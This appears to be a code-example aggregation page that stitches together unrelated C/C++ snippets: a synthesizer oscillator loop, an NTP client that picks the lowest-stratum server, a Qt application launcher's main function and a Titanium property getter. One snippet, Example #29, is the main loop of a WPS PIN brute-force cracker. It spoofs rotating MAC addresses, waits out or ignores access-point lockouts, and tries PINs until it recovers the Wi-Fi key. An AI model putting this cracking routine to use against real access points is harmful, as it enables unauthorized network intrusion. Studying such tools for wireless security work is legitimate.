					break;
				case MOD_TYPE_VELOCITY:
					tmp_1 = voice->velocity_coef_linear;
					break;
				default:
					tmp_1 = 0.0;
					break;
				}

				voice->index[osc] +=
					f_phase_correction *
					halfsteps_to_freq_mult((tmp_1 *
					                        state->freq_lfo_amount[osc]) +
					                       part->osc_pitch_bend[osc] +
					                       state->osc_transpose[osc] +
					                       state->voice_osc_tune[voice->id] ) *
					voice->osc_freq[osc] * wave_period;

				while (voice->index[osc] < 0.0) {
					voice->index[osc] += F_WAVEFORM_SIZE;
				}
				while (voice->index[osc] >= F_WAVEFORM_SIZE) {
					voice->index[osc] -= F_WAVEFORM_SIZE;
				}
			}
		}
	}
	for (lfo = 0; lfo < NUM_LFOS; lfo++) {
		if (state->lfo_freq_base[lfo] >= FREQ_BASE_TEMPO) {
			part->lfo_index[lfo] +=
				f_phase_correction *
				part->lfo_freq[lfo] *
				halfsteps_to_freq_mult(state->lfo_transpose[lfo] + part->lfo_pitch_bend[lfo]) *
				wave_period;

			while (part->lfo_index[lfo] < 0.0) {
				part->lfo_index[lfo] += F_WAVEFORM_SIZE;
			}
			while (part->lfo_index[lfo] >= F_WAVEFORM_SIZE) {
				part->lfo_index[lfo] -= F_WAVEFORM_SIZE;
			}
		}
	}
}
Пример #27
0
int main(int argc, char* argv[]){
	char chosen_server[500];
	int lowest_stratum = 1000;
	int j;
	for (j = 4; j >= 0; j--) {
		struct timespec t1_time, t4_time;
		double sec, ns;

		header_t header;
		memset(&header, 0, sizeof(header_t));
		times_t timestamps;

		char* node = server_list[j];
		printf("------------\n");
		printf("Testing server %s\n", server_list[j]);
		char* service = "123";
		int status;

		struct addrinfo hints;
		struct addrinfo *serverinfo, recmsg;

		memset(&hints, 0, sizeof(hints));
		hints.ai_family = AF_UNSPEC;
		hints.ai_socktype = SOCK_DGRAM;

		if ((status = getaddrinfo(node, service, &hints, &serverinfo)) != 0){
			fprintf(stderr, "Error resolving host name or IP address\n");
			exit(1);
		}
		int sockfd = socket(serverinfo->ai_family, serverinfo->ai_socktype, serverinfo->ai_protocol);

		// Start time
	  	if( clock_gettime( CLOCK_REALTIME, &t1_time) == -1 ) {
			perror( "clock gettime" );
			exit( EXIT_FAILURE );
		}

		/* Version set to 4 and Mode to 3 (Client), rest to 0 */
		header.control[0] = 35;
		header.control[1] = 0;
		header.control[2] = 0;
		header.control[3] = 0;
		int i;
		printf("Control: ");
		for (i = 0; i < 4; i++)
			printf("%x|", header.control[i]);
		header.origin_t = time_to_NTP(t1_time);
		printf("\nSending header...\n");
		int send_res;
		send_res = sendto(sockfd, &header, sizeof(header_t), 0, serverinfo->ai_addr, serverinfo->ai_addrlen);

		printf("Sent\n");

		// Prepare receive
		timestamps.t1 = header.origin_t;
		printf("Waiting to receive header...\n");
		//header_t rec_header;
		int bytes_rec;
		bytes_rec = recvfrom(sockfd, &header, sizeof(header_t), 0, serverinfo->ai_addr, &recmsg.ai_addrlen);
		printf("Received, result: %d\n", bytes_rec);

		// End time
		if( clock_gettime( CLOCK_REALTIME, &t4_time) == -1 ) {
			perror( "clock gettime" );
			exit( EXIT_FAILURE );
		}
		// Use netohost() to convert from the network byte order to host byte order!
		close(sockfd);
		timestamps.t2 = net_to_host(header.receive_t) - ((long )(2208988800) << 32);
		timestamps.t3 = net_to_host(header.transmit_t) - ((long )(2208988800) << 32);
		timestamps.t4 = time_to_NTP(t4_time);
		/*
		printf("Timestamps:\n");
		printf("t1: %u %u\n", (int)(timestamps.t1 >> 32), (int)(timestamps.t1));
		printf("t2: %u %u\n", (int)(timestamps.t2 >> 32), (int)(timestamps.t2));
		printf("t3: %u %u\n", (int)(timestamps.t3 >> 32), (int)(timestamps.t3));
		printf("t4: %u %u\n[all ns above were ns_frac]\n", (int)(timestamps.t4 >> 32), (int)(timestamps.t4));
		*/
		long delay = NTP_to_ns(get_delay(timestamps));
		long offset = NTP_to_ns(get_offset(timestamps));
		printf("Delay: %u s %u ns\n", (int)(delay >> 32), (int)(delay));
		printf("Offset: %d s  %d ns\n", (int)(offset >> 32), (int)(offset));
		printf("Stratum: %d\n", header.control[1]);
		if (header.control[1] < lowest_stratum) {
			lowest_stratum = header.control[1];
			strcpy(chosen_server, server_list[j]);
		}
		printf("------------\n");
	}
	printf("Chosen server with Stratum = %d: %s\n", lowest_stratum, chosen_server);
	return 0;
}
Пример #28
0
int main(int argc, char *argv[])
{
    const char   *app_type      = NULL;
    int           prog_argc     = 0;
    uint32_t      magic_options = 0;
    bool          wait_term     = true;
    unsigned int  delay         = EXIT_DELAY;
    unsigned int  respawn_delay = RESPAWN_DELAY;
    char        **prog_argv     = NULL;
    char         *prog_name     = NULL;
    char         *splash_file   = NULL;
    char         *landscape_splash_file = NULL;
    struct stat   file_stat;
    bool test_mode = false;

    // wait-term parameter by default
    magic_options |= INVOKER_MSG_MAGIC_OPTION_WAIT;

    // Called with a different name (old way of using invoker) ?
    if (!strstr(argv[0], PROG_NAME_INVOKER) )
    {
        die(1,
            "Incorrect use of invoker, don't use symlinks. "
            "Run invoker explicitly from e.g. a D-Bus service file instead.\n");
    }

    // Stops parsing args as soon as a non-option argument is encountered
    putenv("POSIXLY_CORRECT=1");

    // Options recognized
    struct option longopts[] = {
        {"help",             no_argument,       NULL, 'h'},
        {"wait-term",        no_argument,       NULL, 'w'},
        {"no-wait",          no_argument,       NULL, 'n'},
        {"global-syms",      no_argument,       NULL, 'G'},
        {"deep-syms",        no_argument,       NULL, 'D'},
        {"single-instance",  no_argument,       NULL, 's'},
        {"daemon-mode",      no_argument,       NULL, 'o'},
        {"test-mode",        no_argument,       NULL, 'T'},
        {"type",             required_argument, NULL, 't'},
        {"delay",            required_argument, NULL, 'd'},
        {"respawn",          required_argument, NULL, 'r'},
        {"splash",           required_argument, NULL, 'S'},
        {"splash-landscape", required_argument, NULL, 'L'},
        {0, 0, 0, 0}
    };

    // Parse options
    // TODO: Move to a function
    int opt;
    while ((opt = getopt_long(argc, argv, "hcwnGDsoTd:t:r:S:L:", longopts, NULL)) != -1)
    {
        switch(opt)
        {
        case 'h':
            usage(0);
            break;

        case 'w':
            // nothing to do, it's by default now
            break;

        case 'o':
            magic_options |= INVOKER_MSG_MAGIC_OPTION_OOM_ADJ_DISABLE;
            break;

        case 'n':
            wait_term = false;
            magic_options &= (~INVOKER_MSG_MAGIC_OPTION_WAIT);
            break;

        case 'G':
            magic_options |= INVOKER_MSG_MAGIC_OPTION_DLOPEN_GLOBAL;
            break;

        case 'D':
            magic_options |= INVOKER_MSG_MAGIC_OPTION_DLOPEN_DEEP;
            break;

        case 'T':
            test_mode = true;
            break;

        case 't':
            app_type = optarg;
            break;

        case 'd':
            delay = get_delay(optarg, "delay", MIN_EXIT_DELAY, MAX_EXIT_DELAY);
            break;

        case 'r':
            respawn_delay = get_delay(optarg, "respawn delay",
                                      MIN_RESPAWN_DELAY, MAX_RESPAWN_DELAY);
            break;

        case 's':
            magic_options |= INVOKER_MSG_MAGIC_OPTION_SINGLE_INSTANCE;
            break;

        case 'S':
            magic_options |= INVOKER_MSG_MAGIC_OPTION_SPLASH_SCREEN;
            splash_file = optarg;
            break;

        case 'L':
            magic_options |= INVOKER_MSG_MAGIC_OPTION_LANDSCAPE_SPLASH_SCREEN;
            landscape_splash_file = optarg;
            break;

        case '?':
            usage(1);
        }
    }

    // Option processing stops as soon as application name is encountered
    if (optind < argc)
    {
        prog_name = search_program(argv[optind]);
        prog_argc = argc - optind;
        prog_argv = &argv[optind];
    }

    // Check if application name isn't defined
    if (!prog_name)
    {
        report(report_error, "Application's name is not defined.\n");
        usage(1);
    }

    // Check if application exists
    if (stat(prog_name, &file_stat))
    {
        report(report_error, "%s: not found\n", prog_name);
        return EXIT_STATUS_APPLICATION_NOT_FOUND;
    }

    // Check that 
    if (!S_ISREG(file_stat.st_mode) && !S_ISLNK(file_stat.st_mode))
    {
        report(report_error, "%s: not a file\n", prog_name);
        return EXIT_STATUS_APPLICATION_NOT_FOUND;
    }

    if (!app_type)
    {
        report(report_error, "Application type must be specified with --type.\n");
        usage(1);
    }

    // Translate 'qt' and 'm' types to 'q' for compatibility
    if (!strcmp(app_type, "qt") || !strcmp(app_type, "m"))
        app_type = "q";

    // Check if application type is unknown. Only accept one character types.
    if (!app_type[0] || app_type[1])
    {
        report(report_error, "Application's type is unknown.\n");
        usage(1);
    }

    if (pipe(g_signal_pipe) == -1)
    { 
        report(report_error, "Creating a pipe for Unix signals failed!\n"); 
        exit(EXIT_FAILURE); 
    }

    // Send commands to the launcher daemon
    info("Invoking execution: '%s'\n", prog_name);
    int ret_val = invoke(prog_argc, prog_argv, prog_name, *app_type, magic_options, wait_term, respawn_delay, splash_file, landscape_splash_file, test_mode);

    // Sleep for delay before exiting
    if (delay)
    {
        // DBUS cannot cope some times if the invoker exits too early.
        debug("Delaying exit for %d seconds..\n", delay);
        sleep(delay);
    }

    return ret_val;
}
Пример #29
0
/* Brute force all possible WPS pins for a given access point */
void crack()
{
    unsigned char *bssid = NULL;
    char *pin = NULL;
    int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0;
    float pin_count = 0;
    time_t start_time = 0;
    enum wps_result result = 0;
    /* MAC CHANGER VARIABLES */
    int mac_changer_counter = 0;
    char mac[MAC_ADDR_LEN] = { 0 };
    unsigned char mac_string [] = "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ";
    unsigned char* new_mac = &mac_string[0];
    char last_digit = '0';

    if(!get_iface())
    {
        return;
    }

    if(get_max_pin_attempts() == -1)
    {
        cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
        return;
    }

    /* Initialize network interface */
    set_handle(capture_init(get_iface()));

    if(get_handle() != NULL)
    {
        generate_pins();

        /* Restore any previously saved session */
        if(get_static_p1() == NULL)
        {
            restore_session();
        }

        /* Convert BSSID to a string */
        bssid = mac2str(get_bssid(), ':');

        /*
         * We need to get some basic info from the AP, and also want to make sure the target AP
         * actually exists, so wait for a beacon packet
         */
        cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid);
        read_ap_beacon();
        process_auto_options();

        /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */
        if(get_max_pin_attempts() == -1)
        {
            cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
            return;
        }

        /* This initial association is just to make sure we can successfully associate */
        while(!reassociate())
        {
            if(assoc_fail_count == MAX_ASSOC_FAILURES)
            {
                assoc_fail_count = 0;
                cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
            }
            else
            {
                assoc_fail_count++;
            }
        }
        cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid());

        /* Used to calculate pin attempt rates */
        start_time = time(NULL);

        /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */
        if(get_key_status() <= KEY1_WIP)
        {
            set_key_status(KEY1_WIP);
        }
        /*
         * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked.
         * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop.
         */
        else if(get_key_status() == KEY_DONE)
        {
            set_key_status(KEY2_WIP);
        }

        //copy the current mac to the new_mac variable for mac changer
        if (get_mac_changer() == 1) {
            strncpy(new_mac, mac2str(get_mac(), ':'), 16);
        }

        /* Main cracking loop */
        for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++)
        {
            //MAC Changer switch/case to define the last mac address digit
            if (get_mac_changer() == 1) {
                switch (mac_changer_counter) {
                case 0:
                    last_digit = '0';
                    break;
                case 1:
                    last_digit = '1';
                    break;
                case 2:
                    last_digit = '2';
                    break;
                case 3:
                    last_digit = '3';
                    break;
                case 4:
                    last_digit = '4';
                    break;
                case 5:
                    last_digit = '5';
                    break;
                case 6:
                    last_digit = '6';
                    break;
                case 7:
                    last_digit = '7';
                    break;
                case 8:
                    last_digit = '8';
                    break;
                case 9:
                    last_digit = '9';
                    break;
                case 10:
                    last_digit = 'A';
                    break;
                case 11:
                    last_digit = 'B';
                    break;
                case 12:
                    last_digit = 'C';
                    break;
                case 13:
                    last_digit = 'D';
                    break;
                case 14:
                    last_digit = 'E';
                    break;
                case 15:
                    last_digit = 'F';
                    mac_changer_counter = -1;
                    break;
                }

                mac_changer_counter++;

                new_mac[16] = last_digit;
                //transform the string to a MAC and define the MAC
                str2mac((unsigned char *) new_mac, (unsigned char *) &mac);
                set_mac((unsigned char *) &mac);

                cprintf(WARNING, "[+] Using MAC %s \n", mac2str(get_mac(), ':'));
            }

            /*
             * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS
             * registrar requests. Using a delay here can help prevent the AP from locking us out.
             */
            pcap_sleep(get_delay());

            /* Users may specify a delay after x number of attempts */
            if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count()))
            {
                cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay());
                pcap_sleep(get_recurring_delay());
                sleep_count = 0;
            }

            /*
             * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes).
             * Verify that the AP is not locked before attempting the next pin.
             */
            while(get_ignore_locks() == 0 && is_wps_locked())
            {
                cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay());
                pcap_sleep(get_lock_delay());

            }

            /* Initialize wps structure */
            set_wps(initialize_wps_data());
            if(!get_wps())
            {
                cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n");
                break;
            }

            /* Try the next pin in the list */
            pin = build_next_pin();
            if(!pin)
            {
                cprintf(CRITICAL, "[-] Failed to generate the next payload\n");
                break;
            }
            else
            {
                cprintf(WARNING, "[+] Trying pin %s\n", pin);
            }

            /*
             * Reassociate with the AP before each WPS exchange. This is necessary as some APs will
             * severely limit our pin attempt rate if we do not.
             */
            assoc_fail_count = 0;
            while(!reassociate())
            {
                if(assoc_fail_count == MAX_ASSOC_FAILURES)
                {
                    assoc_fail_count = 0;
                    cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
                }
                else
                {
                    assoc_fail_count++;
                }
            }


            /*
             * Enter receive loop. This will block until a receive timeout occurs or a
             * WPS transaction has completed or failed.
             */
            result = do_wps_exchange();

            switch(result)
            {
            /*
             * If the last pin attempt was rejected, increment
             * the pin counter, clear the fail counter and move
             * on to the next pin.
             */
            case KEY_REJECTED:
                fail_count = 0;
                pin_count++;
                advance_pin_count();
                break;
            /* Got it!! */
            case KEY_ACCEPTED:
                break;
            /* Unexpected timeout or EAP failure...try this pin again */
            default:
                cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result);
                fail_count++;
                break;
            }

            /* If we've had an excessive number of message failures in a row, print a warning */
            if(fail_count == WARN_FAILURE_COUNT)
            {
                cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count);
                fail_count = 0;
                pcap_sleep(get_fail_delay());
            }

            /* Display status and save current session state every DISPLAY_PIN_COUNT loops */
            if(loop_count == DISPLAY_PIN_COUNT)
            {
                save_session();
                display_status(pin_count, start_time);
                loop_count = 0;
            }

            /*
             * The WPA key and other settings are stored in the globule->wps structure. If we've
             * recovered the WPS pin and parsed these settings, don't free this structure. It
             * will be freed by wpscrack_free() at the end of main().
             */
            if(get_key_status() != KEY_DONE)
            {
                wps_deinit(get_wps());
                set_wps(NULL);
            }
            /* If we have cracked the pin, save a copy */
            else
            {
                set_pin(pin);
            }
            free(pin);
            pin = NULL;

            /* If we've hit our max number of pin attempts, quit */
            if((get_max_pin_attempts() > 0) &&
                    (pin_count == get_max_pin_attempts()))
            {
                cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts());
                break;
            }
        }

        if(bssid) free(bssid);
        if(get_handle())
        {
            pcap_close(get_handle());
            set_handle(NULL);
        }
    }
    else
    {
        cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface());
    }
}
Пример #30
0
		TITANIUM_PROPERTY_GETTER(Animation, delay)
		{
			return get_context().CreateNumber(static_cast<double>(get_delay().count()));
		}